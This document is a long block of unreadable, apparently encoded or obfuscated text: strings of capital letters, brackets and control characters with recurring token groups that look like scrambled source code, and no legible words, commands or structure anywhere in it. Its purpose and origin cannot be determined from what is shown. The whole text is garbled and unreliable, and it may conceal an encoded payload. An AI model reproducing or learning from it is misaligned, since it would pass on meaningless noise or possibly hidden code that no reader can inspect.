J
RQQXFTEI^a
5VYL]NY]EJ\QQ
ILGUVGON
^XYKOYKYRNPPYTJF^ZT
PQHOSWHU\SXQFGD55NNKZM`SOUHJYLELIV\ZN
^XYKOY5ZUST[\KTSN
^XYKOY55S^YTFWKYW`^N
^XYKOY5B5SPX^MVKWRV\^[^OKZM55BZSLZVYF\VFS]WOY`D5[UU]RKXO	U]]W	SFT[SO[QSN
^XYKOY5VY[UU]RKXO	UCC[UU]RKXO	U

OMUGES	[	RUIZUST[\KTSN
^XYKOY5JQLZK[UU]RKXO	U555B5JQLZKQRXQV^[]`F\VFS]WOY`5B5]VHOMXWUJY]KHQOSWHU\SXQFG5B\^K\WkWMPH^]SZSKQO
]K`D55PTG]`[M\TJL[^FSJ]]W	SFT[SO[QSSKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5B5B5YJQ\KVPQ^G\HV[ES		KS`VN`UEK5D5VYVLLZK`xzkdObCCEFRTLZZP[K`xzkdObMZKJMQ5`]OFNOR]TSV[XT`xzkdOb5VY`]OFNOR]TSV[XTH`QGYXLZ]QRT`
VH`INEO^FN]EXD5KMFD5`
^]M\N	LJWHRKKYPFNI]Q]XVPLZOO]ZZSGMJW~}lo~kw]]W	SFT[SO[QSa]]W	SFT[SO[QS5F]KQNO	PGRGHZJVH`INEO^FN]EX`
^]M\N	LJW VQKEFRTLZZP[K`
^]M\N	LJW5VYF]KQNO	PGRGHZJ
F]KQNO	PGRGHZJ


	

D5VQ\SJ[Z`
^]M\N	LJW5B5B\^K\WkWMPH^]SZSKQO
]K`D5555B\^K\WzG\ZOKVPQSKQO
]K`D5B5HWVSZVXM][PQ]Y\L
	P]`ZQ[`\SZ^QD5B5555WZ^[ZMVXM][PQ]Y\L5ZGVK5B5555VY`]OFNOR]TSV[XTH`QGYXLZ]QRT`
VH`INEO^FN]EXMZKJMQ5KMFD5VY]]W	SFT[SO[QS
EFRTLZZP[K	]]W	SFT[SO[QS
VXM][PQ]Y\LD5JO[^KZ`POKVPQVH`INEO^FN]EX
	VQKXZK`POKVPQ]]W	SFT[SO[QS
	]]W	SFT[SO[QS555JO[^KZ`POKVPQEFRTLZZP[K
	
VXM][PQ]Y\LEFRTLZZP[K5B5XQUUFENVPP[G^WEOWE	QV`
VXM][PQ]Y\L	55VYVXM][PQ]Y\LXQUUFENVPVXM][PQ]Y\LVH`INEO^FN]EXXQUUFENVP]]W	SFT[SO[QSVH`INEO^FN]EXXQUUFENVPD55SPRVP`XEFRTLZZP[KXQUUFENVPKMJZ5VYSPRVP`XY^SLZ]]W	SFT[SO[QSSPRVP`X


XQUUFENVPSPRVP`X5555B5VYEFRTLZZP[KXQUUFENVPXQUUFENVPUEZUPIV`F	5VYVXM][PQ]Y\L
XQUUFENVPD5HWVSZEFRTLZZP[K
	P]`ZQ[`\SZ^QDOGZX]UPJU	[GOGZX]5B5WZ^[ZMEFRTLZZP[K	5WZ^[ZM]]W	SFT[SO[QS5WZ^[ZMVXM][PQ]Y\L5ZGVK55B5V]]
K^NI
ZQ]P[G^WEOWE	QV`
]]W	SFT[SO[QS5HTNUOXTGMGJKEFRTLZZP[KV]]
K^NI
ZQ]XQUUFENVP5555VYVLLZK`lzmizmdEFRTLZZP[K
bVH`INEO^FN]EX`lzmizmdVXM][PQ]Y\L
bHTNUOXTGMGJKD5HWVSZVXM][PQ]Y\L
	P]`ZQ[`\SZ^QD5B5WZ^[ZMVH`INEO^FN]EX
555WZ^[ZMEFRTLZZP[K
HTNUOXTGMGJK5ZGVK5B5HWVSZVH`INEO^FN]EX
	P]`ZQ[`\SZ^QD5B5WZ^[ZMVH`INEO^FN]EX	5WZ^[ZMVH`INEO^FN]EX
5WZ^[ZMVH`INEO^FN]EX
5WZ^[ZMVH`INEO^FN]EX

HTNUOXTGMGJK5555Z\WPV]]
K^NI
ZQ]XQUUFENVP5ZGVK5B\^K\WkWMPH^]SZSKQO
]K`D55PTG]`[M\TJL[^FSJEFRTLZZP[K
	SKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5PTG]`[M\TJL[^FSJEFRTLZZP[K
	SKQO
]K`55B5holSPKyVSSOMPUZ\KVQUZ\KPM55B5^G\HV[ES		KS`VN`UEK5YJQ\KVPQN^HG
Z

PF\KY5D5VYVLLZK`xzkdVH`INEO^FN]EX
bMZKJMQ5KMFD5O^JMLV
PX``xzkd]]W	SFT[SO[QS
b5VYVXM][PQ]Y\L
O^JMLV
PX`CCO^JMLV
PX`MZKJMQ5O^JMLV
PX`VH`INEO^FN]EXO^JMLV
PX`5]NPJZLU`^MM^F5VY]]W	SFT[SO[QS
EFRTLZZP[K	]NPJZLU`dbLKMVQXEFRTLZZP[K	WPRZ`JMSowo`jms`wplk5VY]]W	SFT[SO[QS	EFRTLZZP[K	D555`XKHZNOLULKMVQXXZK`POKVPQ]]W	SFT[SO[QS	5VY`XKHZNOLU]NPJZLU`dbLKMVQX]]W	SFT[SO[QS	`XKHZNOLUowo`jms`wplk5B55VYVLLZK`lzmizmdEFRTLZZP[K		b]NPJZLU`dbLKMVQX`lzmizmdVH`INEO^FN]EX	
b5]NPJZLU`dbHXE\OLIFZTPN]Y555YFHZNNM^LYNGY^SLZ5YPMZ^\WVH`INEO^FN]EX	]NPJZLU`^LI\GKLEPDYQ
P\IOowo`vqk`r~gowo`vqk`r~g[M`XIT[VEMYQ
P\IO5VYVXM][PQ]Y\L		I\GKLEPCCI\GKLEP\PQKVQJZ55VYVXM][PQ]Y\LI\GKLEPY^SLZI\GKLEPEFRTLZZP[KVXM][PQ]Y\L	I\GKLEP5VYPLZOO]ZZSGMJWVXM][PQ]Y\LI\GKLEPVXM][PQ]Y\L		aO^JMLV
PX`D55YFHZNNM^LYNGKMJZGIIM	XK`Jowo`r~upm`izmlvpqH[NI^FN
GIIM	XK`J	5555]MZ^T5B5B5VYYFHZNNM^LYNGMZKJMQ5STTULGR	JZVXM][PQ]Y\LVH`INEO^FN]EX	a
5YQR
[OU
TNM\NOH]K	EOPVXVUSGIMPJ
`GQOYQO	U]YI\VF`STTULGR	JZ5HWVSZ]]W	SFT[SO[QS
	P]`ZQ[`\SZ^QD5B5WZ^[ZMEFRTLZZP[K5WZ^[ZM]]W	SFT[SO[QS5Z\WPYQR
[OU
TNM\STTULGR	JZ ]]W	SFT[SO[QS]]W	SFT[SO[QSSTTULGR	JZEFRTLZZP[K555ZGVK555B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJ]]W	SFT[SO[QS
SKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5PTG]`[M\TJL[^FSJVH`INEO^FN]EX
SKQO
]K`5B5B5N^HG
Z

PF\KY5YJQ\KVPQMU[WNINOJVTMJTXJ5D5KMFD5VYEFRTLZZP[K	EFRTLZZP[KMP\TZK`\SZ^Q`[PR^VQ5VYVXM][PQ]Y\L	EFRTLZZP[KHK\`YSJLW`^SS5VY]]W	SFT[SO[QS	VXM][PQ]Y\LLX`\^\WZOMZLL`OJMXZ`\^\WZ555VY]]W	SFT[SO[QS	EFRTLZZP[KSVKZLOZZ[`OJMXZ`^SS5ZSLZVYVH`INEO^FN]EX

EFRTLZZP[KVXM][PQ]Y\LVXM][PQ]Y\LEFRTLZZP[KsVKZlOZZ[`|^\WZ`~ovOJMXZ`^SS5VYVH`INEO^FN]EX

VXM][PQ]Y\LEFRTLZZP[K
VH`INEO^FN]EXEFRTLZZP[K	}MZZEZ`oJMXZ|^\WZ]MZZEZ`\^\WZ`YSJLW5VYVXM][PQ]Y\L

VXM][PQ]Y\L	]]W	SFT[SO[QS]]W	SFT[SO[QS	VXM][PQ]Y\L|^\WZ`zQ^]SZM\SZ^M`KPK^S`\^\WZ555VYVXM][PQ]Y\L	VXM][PQ]Y\LHOY\`\SZ^M`^SS`\^\WZ5ZSLZVYVLLZKxsp}~sldVH`INEO^FN]EX	bEFRTLZZP[Kxsp}~sld]]W	SFT[SO[QS	bVH`INEO^FN]EXxsp}~sldVXM][PQ]Y\L	bVXM][PQ]Y\Lxsp}~sldVH`INEO^FN]EX	b[ZSZKZ|^\WZKMJZ5VYEFRTLZZP[K	]]W	SFT[SO[QSHO`\^\WZ`\SZ^M`\^\WZ555VY]]W	SFT[SO[QS

VH`INEO^FN]EX]]W	SFT[SO[QS]]W	SFT[SO[QS]]W	SFT[SO[QS
^JKPOKVRVEZ|^\WZ\SZ^M^SS5PTG]`[M\TJL[^FSJVXM][PQ]Y\L]]W	SFT[SO[QS	5B\^K\WkWMPH^]SZSKQO
]K`D5555PTG]`[M\TJL[^FSJVH`INEO^FN]EXSKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5B5B55YJQ\KVPQWKVL]MROPU^NJ\O5D5VYVH`INEO^FN]EX	VH`INEO^FN]EXVL`^[RVQMZKJMQKMJZ5VYVXM][PQ]Y\L	VXM][PQ]Y\LHO`[PVQX`^U^GMZKJMQKMJZ5VY[ZYVQZ[EFRTLZZP[Kmzlk`mznjzlkMZKJMQKMJZ5VY[ZYVQZ[]]W	SFT[SO[QSgrsmo|`mznjzlkMZKJMQKMJZ5VY]]W	SFT[SO[QS	EFRTLZZP[KVL`YZZ[MZKJMQKMJZ5VYEFRTLZZP[K	VH`INEO^FN]EXVL`MP]PKLMZKJMQKMJZ555VYEFRTLZZP[K	EFRTLZZP[KVL`LVKZR^OLMZKJMQKMJZ55VYVXM][PQ]Y\L	EFRTLZZP[KVL`\JLKPRVEZ`OMZIVZHMZKJMQKMJZ5VYVLLZK`xzkdEFRTLZZP[K
bCCVLLZK`xzkdVH`INEO^FN]EX	bCCVLLZK`xzkdVH`INEO^FN]EXbMZKJMQKMJZ555MZKJMQY^SLZ5555B5YJQ\KVPQZPN\PEGV`ZLTJVTITL5555DRJV\P[YVYKF[RZQ]^QRJV\P[5QIH`KG^XI^ZVLLZKxsp}~sld]]W	SFT[SO[QSbEFRTLZZP[K		xsp}~sld]]W	SFT[SO[QSb VXM][PQ]Y\Lxsp}~sldEFRTLZZP[Kb5555VYQIH`KG^XI^ZMZKJMQ5QIH`KG^XI^ZVXM][PQ]Y\LVXM][PQ]Y\L]]W	SFT[SO[QSQIH`KG^XI^Z5KRORIHZNYS\VH`INEO^FN]EX	]]W	SFT[SO[QS LKMVQXVXM][PQ]Y\L	WPRZ`JMSowo`jms`wplk5SJRGIUFUG]NEHPLZOO]ZZSGMJWEFRTLZZP[KKRORIHZNYS\5QE[WKWK
]R]]W	SFT[SO[QSVH`INEO^FN]EXQIH`KG^XI^Z5MZKJMQcQL\MVOK[^K^L\cSJRGIUFUG]NEHQE[WKWK
]RccQQIH`KG^XI^ZcQL\MVOKcQL\SJRGIUFUG]NEHQE[WKWK
]RcQ5B5YJQ\KVPQLLO	UXTQ
M][	R\V5D5KMFD5VYWKVL]MROPU^NJ\OMZKJMQ55TMRFHGZFR`MPUGZPN\PEGV`ZLTJVTITL5VYTMRFHGZFR`MPUGMZKJMQ5Z\WPTMRFHGZFR`MPUG5xsp}~sldEFRTLZZP[K


bKMJZ5VYEFRTLZZP[KVXM][PQ]Y\LVXM][PQ]Y\LEFRTLZZP[KZROKFxsp}~sld]]W	SFT[SO[QS
bD5xsp}~sldVH`INEO^FN]EX	bKMJZ5I[WSV
JIJS\VQKXZK`POKVPQ]]W	SFT[SO[QS
	5VY]]W	SFT[SO[QSI[WSV
JIJS\	JO[^KZ`POKVPQEFRTLZZP[K
	VH`INEO^FN]EXVXM][PQ]Y\L5JQLZKI[WSV
JIJS\5B5B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJVH`INEO^FN]EX	SKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5555B5B5YJQ\KVPQG\SZTZFQV^	RT]\VWTGNGKIH5D5VYVXM][PQ]Y\L		VWTGNGKIHCCVWTGNGKIHMZKJMQVWTGNGKIH5VYZROKFxsp}~sldVH`INEO^FN]EXbMZKJMQVWTGNGKIH5TMRFHGZFR`MPUGZPN\PEGV`ZLTJVTITL5VYTMRFHGZFR`MPUGMZKJMQVWTGNGKIH555VYLKMVOPLVWTGNGKIHVXM][PQ]Y\LY^SLZLKMVOPLVWTGNGKIHVXM][PQ]Y\LY^SLZMZKJMQVWTGNGKIH55xsp}~sldVH`INEO^FN]EXbKMJZ5xsp}~sldEFRTLZZP[K

bKMJZ555O	\`J[	Z^\QGQLKMVOPLVWTGNGKIHVH`INEO^FN]EX5VYO	\`J[	Z^\QGQY^SLZD5MZKJMQEFRTLZZP[KVWTGNGKIHO	\`J[	Z^\QGQTMRFHGZFR`MPUGVXM][PQ]Y\LVWTGNGKIHO	\`J[	Z^\QGQ5B5owoYV]ZMLZNJVI^MV^QK[^K^YSPHXM^OW55MZKJMQVWTGNGKIHTMRFHGZFR`MPUG5B5YJQ\KVPQLT	SY[QRHNQM	VS5D5KMFD5ho}SP\T|PQKMPSLVQYZMOVOZSVQZ555VYWKVL]MROPU^NJ\OMZKJMQ5VYZROKFxsp}~sldVXM][PQ]Y\LbMZKJMQ5QIH`KG^XI^ZVLLZKxsp}~sldVH`INEO^FN]EXb]]W	SFT[SO[QSxsp}~sld]]W	SFT[SO[QSb EFRTLZZP[Kxsp}~sldVXM][PQ]Y\Lb[YVYYKVROowo`r~upm`izmlvpqVWYPM`O[UTQ[YVYYKVRO	5VYQIH`KG^XI^ZMZKJMQ5xsp}~sld]]W	SFT[SO[QSbKMJZ5VXM][PQ]Y\L
VH`INEO^FN]EX	5B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJ]]W	SFT[SO[QS

	SKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5B5B5YJQ\KVPQWZUSLL\JJKRTOVV55D5KMFD5VYVL`^[RVQVLLZKxsp}~sldEFRTLZZP[KbCCxsp}~sldVXM][PQ]Y\Lb]]W	SFT[SO[QSMZKJMQ5VYEFRTLZZP[KVH`INEO^FN]EX
VL`LLSMZKJMQ5[\][JZU]WY\RHP[G^WEOWE	QV`
EFRTLZZP[K555SJRGIUFUG]NEHPLZOO]ZZSGMJW~}lo~kwVH`INEO^FN]EX	a5[IYHYIJMVXM][PQ]Y\L	5VY[\][JZU]WY\RHD5VYVH`INEO^FN]EXEFRTLZZP[KVQKXZK`POKVPQVH`INEO^FN]EX
	D5JO[^KZ`POKVPQVXM][PQ]Y\L
	VH`INEO^FN]EX5N
JIGMIQERTRLKMVQXXZK`POKVPQVH`INEO^FN]EX5Z\WPcQVH`INEO^FN]EXSJRGIUFUG]NEH5VXM][PQ]Y\L5VH`INEO^FN]EX[IYHYIJMVH`INEO^FN]EXEFRTLZZP[K
5VH`INEO^FN]EX	EFRTLZZP[K	N
JIGMIQERTR5VH`INEO^FN]EX[IYHYIJMVXM][PQ]Y\LEFRTLZZP[K5]]W	SFT[SO[QS[IYHYIJMEFRTLZZP[KVXM][PQ]Y\L[IYHYIJMVXM][PQ]Y\LVH`INEO^FN]EX[IYHYIJM]]W	SFT[SO[QSEFRTLZZP[K
[IYHYIJM]]W	SFT[SO[QS	VXM][PQ]Y\L5]]W	SFT[SO[QS[IYHYIJMVXM][PQ]Y\LEFRTLZZP[K
[IYHYIJMEFRTLZZP[K
]]W	SFT[SO[QS
555VH`INEO^FN]EX
cQ5JQLZKN
JIGMIQERTR5B55MZKJMQ5B5555[\][JZU]WY\RHVH`INEO^FN]EX
VH`INEO^FN]EXVXM][PQ]Y\L[\][JZU]WY\RH5VY]]W	SFT[SO[QS[\][JZU]WY\RHVH`INEO^FN]EX[\][JZU]WY\RHVH`INEO^FN]EXVH`INEO^FN]EX[\][JZU]WY\RH5555]`WZKWWYFP5VY]]W	SFT[SO[QS

VH`INEO^FN]EXD55ILV
R`LKMVQXVH`INEO^FN]EX
	WPRZ`JMSowo`jms`o~kw5VYILV
R`ILV
R`]`WZKWWYFP]]W	SFT[SO[QS
ILV
R`5B5VYEFRTLZZP[K

EFRTLZZP[KD5JO[^KZ`POKVPQEFRTLZZP[K
	VH`INEO^FN]EX5JO[^KZ`POKVPQ]]W	SFT[SO[QS[\][JZU]WY\RHEFRTLZZP[K5B5LZGI\E[GYSVXM][PQ]Y\L
SJRGIUFUG]NEH5]]W	SFT[SO[QS
5EFRTLZZP[K[IYHYIJMVH`INEO^FN]EXVH`INEO^FN]EX	5]]W	SFT[SO[QS	5]]W	SFT[SO[QS	[IYHYIJM]]W	SFT[SO[QS	VXM][PQ]Y\L	EFRTLZZP[K	
[\][JZU]WY\RH5VH`INEO^FN]EX		[IYHYIJMVXM][PQ]Y\L	VXM][PQ]Y\L	]]W	SFT[SO[QS	
[\][JZU]WY\RHVH`INEO^FN]EX	EFRTLZZP[K	
]`WZKWWYFPEFRTLZZP[K	[IYHYIJMVXM][PQ]Y\LVH`INEO^FN]EX5EFRTLZZP[K[IYHYIJMEFRTLZZP[KVH`INEO^FN]EX5EFRTLZZP[K	[IYHYIJMVXM][PQ]Y\L
]]W	SFT[SO[QS	[IYHYIJMVH`INEO^FN]EX]]W	SFT[SO[QS5EFRTLZZP[K[IYHYIJMVXM][PQ]Y\L]]W	SFT[SO[QS5]]W	SFT[SO[QS5]]W	SFT[SO[QS	[IYHYIJM]]W	SFT[SO[QS]]W	SFT[SO[QS5555EFRTLZZP[K
[IYHYIJMEFRTLZZP[KVXM][PQ]Y\L	[IYHYIJM]]W	SFT[SO[QSVXM][PQ]Y\L5]]W	SFT[SO[QS
5Z\WPcQLZGI\E[GYScQ5B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJVXM][PQ]Y\LSKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5555PTG]`[M\TJL[^FSJEFRTLZZP[KSKQO
]K`5555B5B55VYU][NH\EQ	ONX^D5MZKJMQ5B5ZUGHRIX`P\SXMEP5U^HVGW`^YW\PEFRTLZZP[KM	L]ZERI5VYU^HVGW`^YW\PCCU^HVGW`^YW\PG\]G^	
OMUGES	[	RUID5T[JVQY
VT\^XFVXM][PQ]Y\L5555\TWJQV`G\FXK[KM	L]ZERIT[JVQY
VT\^XFT[JVQY
VT\^XF
OMUGES	[	RUI55JQLZKT[JVQY
VT\^XF5B5JQLZKU^HVGW`^YW\P5KMFD55JQIEJG^UXWPXHG``yvsz``5JXFT[R]K5KSXM^Q[VXM][PQ]Y\LJQIEJG^UXWPXHGY^SLZQJSS		5VYEFRTLZZP[KKSXM^Q[]]W	SFT[SO[QSVH`INEO^FN]EXKSXM^Q[ZOTLLXJLU]SFJXFT[R]KZOTLLXJLU]SFdb55VYJXFT[R]K[ZYVQZ[VH`INEO^FN]EXD5RX^`^^]^O^SW^MM^F555[Z[O]P^L[ZYVQZ[VXM][PQ]Y\L		 horj`osjxvq`{vmho`|pqkzqk`{vmVXM][PQ]Y\L55QRMKG[UO[ZYVQZ[VXM][PQ]Y\L ho`osjxvq`{vmho`|pqkzqk`{vm]]W	SFT[SO[QS		5S]PRYOZWI^LRY^SLZ5VYEFRTLZZP[K

VXM][PQ]Y\LD55`GTKJKR`]]W	SFT[SO[QS[Z[O]P^L ]]W	SFT[SO[QS[Z[O]P^LEFRTLZZP[K		Y^SLZ5X\VWKKFULYHUVXM][PQ]Y\LQRMKG[UOEFRTLZZP[K5VY]]W	SFT[SO[QS
`GTKJKR`CCVXM][PQ]Y\L	X\VWKKFULYHUD555S]PRYOZWI^LRKMJZ5YPMZ^\W^MM^F`GTKJKR`^LWIGMFS
Y`NLWRX^`^^]^O^SWdbWIGMFS
Y`NLW5YPMZ^\W^MM^FX\VWKKFULYHU^LWIGMFS
Y`NLWRX^`^^]^O^SWdbWIGMFS
Y`NLW5B555JQLZK`GTKJKR`X\VWKKFULYHU5B5VYS]PRYOZWI^LRD5ZEZXFSMVXM][PQ]Y\L[Z[O]P^L JLJWQ
ZWLW^LNTJ[Z[O]P^LY^SLZ5VY]]W	SFT[SO[QS	ZEZXFSMYPMZ^\WZEZXFSM^L[S]LRGHZRSLMD555VY]]W	SFT[SO[QS[S]LRGHZRSLM	VXM][PQ]Y\LRX^`^^]^O^SWdb[Z[O]P^L[S]LRGHZRSLM5B5ZEZXFSMVXM][PQ]Y\LQRMKG[UO JLJWQ
ZWLW^LNTJQRMKG[UOY^SLZ5VYEFRTLZZP[KZEZXFSMYPMZ^\WZEZXFSM^L[S]LRGHZRSLMD55G`
[SEH
QRMKG[UO[S]LRGHZRSLM5VYEFRTLZZP[KG`
[SEH
\PQKVQJZ555QJJY
FNSFN`JLJWQ
ZWLW^LNTJG`
[SEH
5VYVH`INEO^FN]EXQJJY
FNSFN`\PQKVQJZ5YPMZ^\WQJJY
FNSFN`^L^ULR]WMGD5555VY]]W	SFT[SO[QS^ULR]WMGGGVXM][PQ]Y\LRX^`^^]^O^SWdbG`
[SEH
^ULR]WMG5B5B5JQLZKZEZXFSM[S]LRGHZRSLM^ULR]WMGG`
[SEH
QJJY
FNSFN`5B5IROM]EUS]WRPZJVXM][PQ]Y\L
JQIEJG^UXWPXHGVH`INEO^FN]EX5YPMZ^\WRX^`^^]^O^SW^LWIGMFS
Y`NLWD5VYWIGMFS
Y`NLWJQIEJG^UXWPXHG\PQKVQJZ55ISXWLLXFITVUVXM][PQ]Y\LWIGMFS
Y`NLW55VYISXWLLXFITVUCCISXWLLXFITVU

G]
YG]	\D5W\QTU`YJ
EVXM][PQ]Y\LWIGMFS
Y`NLW5VYW\QTU`YJ
ECCW\QTU`YJ
E	CCW\QTU`YJ
E
\PQKVQJZ5B5KSXM^Q[VH`INEO^FN]EXWIGMFS
Y`NLWY^SLZQJSSGG	]5VYVXM][PQ]Y\LKSXM^Q[CCVH`INEO^FN]EXKSXM^Q[VH`INEO^FN]EXY^SLZ\PQKVQJZ5VYVH`INEO^FN]EX
]]W	SFT[SO[QSKSXM^Q[ZOTLLXJLU]SF\PQKVQJZ5VYVXM][PQ]Y\L
WIGMFS
Y`NLWVXM][PQ]Y\LIROM]EUS]WRPZJZOTLLXJLU]SFdbJXFT[R]KD5VYQI
\EJ
PH\WGMWIGMFS
Y`NLWD5555VYWMSI
EU]HJ`TOWIGMFS
Y`NLWWIGMFS
Y`NLWVXM][PQ]Y\LVXM][PQ]Y\L

VH`INEO^FN]EX	PO\^\WZ`VQI^SV[^KZWIGMFS
Y`NLWKMJZ5555B5\PQKVQJZ5B5555VYIZMLVPQ`\PRO^MZZOTLLXJLU]SFdbJXFT[R]KD5QZPOW

OJLXGNTX^\ZXMOFUXVXSWIGMFS
Y`NLW5VYQZPOW

OY^SLZD5PTG]`[M\TJL[^FSJVH`INEO^FN]EXVH`INEO^FN]EXVXM][PQ]Y\LWIGMFS
Y`NLW5\PQKVQJZ5B55VYQZPOW

OKMJZD5VYWMSI
EU]HJ`TOWIGMFS
Y`NLWWIGMFS
Y`NLWVXM][PQ]Y\LD5VYVH`INEO^FN]EX

EFRTLZZP[K	PO\^\WZ`VQI^SV[^KZWIGMFS
Y`NLWKMJZ5B5]]W	SFT[SO[QSEFRTLZZP[KWIGMFS
Y`NLWVXM][PQ]Y\LEFRTLZZP[KWIGMFS
Y`NLW]]W	SFT[SO[QS5\PQKVQJZ5B5EFRTLZZP[KWIGMFS
Y`NLW5555]]W	SFT[SO[QSVH`INEO^FN]EXWIGMFS
Y`NLWVXM][PQ]Y\LVH`INEO^FN]EXWIGMFS
Y`NLWVXM][PQ]Y\LH`FJ`GQH	
SLIVGRIO[]RH`FJ`GQH5VYVXM][PQ]Y\L

VXM][PQ]Y\L	PO\^\WZ`VQI^SV[^KZWIGMFS
Y`NLWKMJZ5555\PQKVQJZ5B5HJQL
SEHZM]TJVH`INEO^FN]EXVXM][PQ]Y\LWIGMFS
Y`NLWEFRTLZZP[KCCEFRTLZZP[KWIGMFS
Y`NLW[Z[O]P^L5VYHJQL
SEHZM]TJVXM][PQ]Y\L

EFRTLZZP[K
D5Z[VYG]UFPZJVH`INEO^FN]EXVXM][PQ]Y\L	WIGMFS
Y`NLWVXM][PQ]Y\LWIGMFS
Y`NLW5WG	IUNZZVMZN^MM^FXZK`POKVPQEFRTLZZP[K	^MM^F5HJQL
SEHZM]TJVH`INEO^FN]EX
Z[VYG]UFPZJWG	IUNZZVMZNKMJZ5VYHJQL
SEHZM]TJEFRTLZZP[K]]W	SFT[SO[QSVL`RJSKVLVKZEFRTLZZP[K]]W	SFT[SO[QSD5M
YE	MOY^MM^FXZK`LVKZ`POKVPQVH`INEO^FN]EX^MM^F5555HJQL
SEHZM]TJVLLZKM
YE	MOYdZ[VYG]UFPZJb5JQLZKM
YE	MOY55B5JQLZKZ[VYG]UFPZJWG	IUNZZVMZN5555B5VYHJQL
SEHZM]TJ\PQKVQJZ5VYIZMLVPQ`\PRO^MZZOTLLXJLU]SFdbJXFT[R]KD5VYQI
\EJ
PH\WGMWIGMFS
Y`NLWIUQRNHXNPY
MQWIGMFS
Y`NLWMZKJMQ5YKM[ZLZSJTESEFRTLZZP[KWIGMFS
Y`NLWEFRTLZZP[KVXM][PQ]Y\LWIGMFS
Y`NLW5VYVH`INEO^FN]EXYKM[ZLZSJTESVQKEFRTLZZP[KYKM[ZLZSJTES]]W	SFT[SO[QS

D5^MR[FK	K]]W	SFT[SO[QSCLKMVQXVXM][PQ]Y\LYKM[ZLZSJTES5VYVXM][PQ]Y\L^MR[FK	KCC^MR[FK	KdbZOTLLXJLU]SFdbCCVQK^MR[FK	KdbVQKEFRTLZZP[KWIGMFS
Y`NLWD5VH`INEO^FN]EXYKM[ZLZSJTES5\PQKVQJZ5B5VYJLXGNTX^\ZXMOFUXVXSWIGMFS
Y`NLWY^SLZD555NNKZM`SOUHJYLELIV\ZWIGMFS
Y`NLWGG\55VYVFSMLJMN\IFZNQWIGMFS
Y`NLWD5EFRTLZZP[KYKM[ZLZSJTES55VY]]W	SFT[SO[QS
VH`INEO^FN]EX	PO\^\WZ`VQI^SV[^KZWIGMFS
Y`NLWKMJZ5B5B55\PQKVQJZ5B5VH`INEO^FN]EX	YKM[ZLZSJTESZOTLLXJLU]SFdbCVQKEFRTLZZP[KWIGMFS
Y`NLW5\PQKVQJZ555B5VYZOTLLXJLU]SFdbJXFT[R]KD55EY]PETGYXVXJ\KSG\LW^XG]H	EKFNKTXT]EMMGUHLJSQEKFNKTXT]
5KNJHZETUKNY^SLZ5VYZROKFEY]PETGYXVXJ\d]]W	SFT[SO[QSbD5W[EMI^E^G
R\HVXM][PQ]Y\LEY]PETGYXVXJ\d]]W	SFT[SO[QSb5555SNVTG\\]]W	SFT[SO[QSWIGMFS
Y`NLW5VYVXM][PQ]Y\LW[EMI^E^G
R\HVXM][PQ]Y\LSNVTG\\W[EMI^E^G
R\HSNVTG\\\JO\\Z\^IQJYGEY]PETGYXVXJ\EFRTLZZP[K
QI
\EJ
PH\WGMWIGMFS
Y`NLWMZKJMQ55VY]]W	SFT[SO[QSW[EMI^E^G
R\HW[EMI^E^G
R\HVXM][PQ]Y\LJQIEJG^UXWPXHGKNJHZETUKNKMJZ5B5VYKNJHZETUKNQI
\EJ
PH\WGMWIGMFS
Y`NLWDEOQ[Q]ESKZ
STUVKJESMF\EOQ[Q]ESKZ5VYIUQRNHXNPY
MQWIGMFS
Y`NLWCCJLXGNTX^\ZXMOFUXVXSWIGMFS
Y`NLWY^SLZD5VYWMSI
EU]HJ`TOWIGMFS
Y`NLWWIGMFS
Y`NLWVXM][PQ]Y\L]]W	SFT[SO[QSEFRTLZZP[K	PO\^\WZ`VQI^SV[^KZWIGMFS
Y`NLWKMJZ5B555JQLZKEY]PETGYXVXJ\KNJHZETUKNW[EMI^E^G
R\HSNVTG\\5\PQKVQJZ555B5VYKNJHZETUKNEFRTLZZP[KVXM][PQ]Y\LVXM][PQ]Y\LWIGMFS
Y`NLWVXM][PQ]Y\LEFRTLZZP[K]]W	SFT[SO[QSIROM]EUS]WRPZJMZKJMQ5JQLZKEY]PETGYXVXJ\KNJHZETUKNW[EMI^E^G
R\HSNVTG\\5B5B5B5JQLZKJQIEJG^UXWPXHGJXFT[R]KKSXM^Q[ZOTLLXJLU]SFRX^`^^]^O^SW[Z[O]P^LQRMKG[UOWIGMFS
Y`NLWISXWLLXFITVUIROM]EUS]WRPZJW\QTU`YJ
EQZPOW

OYKM[ZLZSJTES^MR[FK	K55B\^K\WkWMPH^]SZSKQO
]K`D5B\^K\WzG\ZOKVPQSKQO
]K`D5B5VYVLLZKxsp}~sldVH`INEO^FN]EXbD5VYIZMLVPQ`\PRO^MZLKMVQXxsp}~sld]]W	SFT[SO[QS
bHX]T^EKEHX	P^Q^	HYKEFRTLZZP[K	MZKJMQ5xsp}~sldEFRTLZZP[Kb5BZSLZVY[ZYVQZ[EFRTLZZP[KD5TTORYNZE\PQLK^QKEFRTLZZP[KEG]RQGLI^JHUEG[ZSM[GMMTEG]RQGLI^JH EG]RQGLI^JHEG]RQGLI^JH5VYVH`INEO^FN]EXTTORYNZEVXM][PQ]Y\L
VXM][PQ]Y\L	
TTORYNZEIZMLVPQ`\PRO^MZTTORYNZEHX]T^EKEHX	P^Q^	HYKVH`INEO^FN]EX	MZKJMQ5xsp}~sldVH`INEO^FN]EXb5JQLZKTTORYNZE5555B5VQOJKI^SV[^KVPQ55xsp}~sldVH`INEO^FN]EX
